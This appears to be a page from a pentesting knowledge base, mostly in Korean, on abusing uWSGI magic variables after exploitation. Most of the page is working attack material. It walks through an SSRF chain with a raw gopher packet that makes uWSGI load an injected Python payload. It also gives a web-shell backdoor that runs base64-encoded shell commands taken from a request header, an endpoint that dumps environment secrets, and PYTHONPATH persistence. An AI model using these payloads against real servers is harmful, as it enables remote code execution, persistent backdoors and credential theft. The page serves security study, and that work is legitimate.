170 lines
6.4 KiB
Markdown

# WSGI Post-Exploitation Tricks
{{#include ../../banners/hacktricks-training.md}}
## WSGI 개요
Web Server Gateway Interface (WSGI)는 웹 서버가 웹 애플리케이션과 통신하는 방식과, 웹 애플리케이션들이 하나의 요청을 처리하기 위해 체인처럼 연결되는 방식을 설명하는 명세입니다. uWSGI는 가장 널리 사용되는 WSGI 서버 중 하나로, 종종 Python 웹 애플리케이션을 서비스하는 데 사용됩니다.
## uWSGI Magic Variables Exploitation
uWSGI는 서버 동작을 동적으로 구성하는 데 사용할 수 있는 특수한 "magic variables"를 제공합니다. 이 변수들은 HTTP headers를 통해 설정할 수 있으며, 적절히 검증되지 않으면 심각한 보안 취약점으로 이어질 수 있습니다.
### 주요 악용 가능한 변수
#### `UWSGI_FILE` - 임의 파일 실행
```
uwsgi_param UWSGI_FILE /path/to/python/file.py;
```
이 변수는 임의의 Python 파일을 WSGI 애플리케이션으로 로드하고 실행할 수 있도록 허용합니다. 공격자가 이 파라미터를 제어할 수 있다면 Remote Code Execution (RCE)를 수행할 수 있습니다.
#### `UWSGI_SCRIPT` - 스크립트 로딩
```
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
```
지정된 스크립트를 새로운 애플리케이션으로 로드합니다. 파일 업로드나 쓰기 기능과 결합되면 RCE로 이어질 수 있습니다.
#### `UWSGI_MODULE` and `UWSGI_CALLABLE` - 동적 모듈 로딩
```
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
```
이 파라미터들은 임의의 Python 모듈을 로드하고 그 내부의 특정 함수를 호출할 수 있게 해준다.
#### `UWSGI_SETENV` - 환경 변수 조작
```
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
```
환경 변수를 수정하는 데 사용될 수 있으며, 애플리케이션 동작에 영향을 주거나 악의적인 구성을 로드할 수 있습니다.
#### `UWSGI_PYHOME` - Python 환경 조작
```
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
```
Python virtual environment을 변경해 잠재적으로 악성 packages나 다른 Python interpreters를 로드할 수 있습니다.
#### `UWSGI_CHDIR` - Directory Traversal
```
uwsgi_param UWSGI_CHDIR /etc/;
```
요청을 처리하기 전에 작업 디렉터리를 변경하며, 이는 path traversal attacks에 악용될 수 있다.
## SSRF + Gopher로
### 공격 벡터
uWSGI가 SSRF (Server-Side Request Forgery)를 통해 접근 가능할 때, 공격자는 내부 uWSGI socket과 상호작용하여 magic variables를 악용할 수 있다. 특히 다음과 같은 경우에 위험하다:
1. 애플리케이션에 SSRF 취약점이 있다
2. uWSGI가 내부 port/socket에서 실행 중이다
3. 애플리케이션이 magic variables를 올바르게 검증하지 않는다
uWSGI는 config 파일 `uwsgi.ini``socket = 127.0.0.1:5000`가 포함되어 있어 SSRF를 통해 웹 애플리케이션에서 접근 가능하게 된다.
### Exploitation Example
#### Step 1: Create Malicious Payload
먼저, 서버에서 접근 가능한 파일에 Python 코드를 주입한다(서버 내부 파일 쓰기, 파일 확장자는 상관없음):
```python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
```
#### 2단계: uWSGI 프로토콜 요청 생성
Gopher 프로토콜을 사용해 원시 uWSGI 패킷을 전송합니다:
```
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
```
This payload:
- uWSGI의 포트 5000에 연결합니다.
- 악성 파일을 가리키도록 `UWSGI_FILE`을 설정합니다.
- uWSGI가 해당 Python 코드를 로드하고 실행하도록 강제합니다.
### uWSGI Protocol Structure
uWSGI 프로토콜은 다음과 같은 바이너리 형식을 사용합니다:
- 변수는 길이 접두사가 붙은 문자열로 인코딩됩니다.
- 각 변수는 다음을 가집니다: `[name_length][name][value_length][value]`
- 패킷은 전체 크기를 포함하는 헤더로 시작합니다
## Post-Exploitation Techniques
### 1. Persistent Backdoors
#### File-based Backdoor
```python
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
```
그런 다음 `UWSGI_FILE`을 사용하여 이 backdoor를 로드합니다:
```
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
```
#### Environment-based Persistence
```
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
```
### 2. 정보 노출
#### Environment Variable Dumping
```python
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
```
#### 파일 시스템 접근
파일 서빙과 결합된 `UWSGI_CHDIR`를 사용하여 민감한 파일에 접근하세요:
```
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
```
### 3. Privilege Escalation
#### Socket Manipulation
uWSGI가 권한이 상승된 상태로 실행되는 경우, attackers가 socket permissions를 조작할 수 있습니다:
```
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
```
#### 구성 재정의
```python
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
```
## 참고자료
- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata)
- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
{{#include ../../banners/hacktricks-training.md}}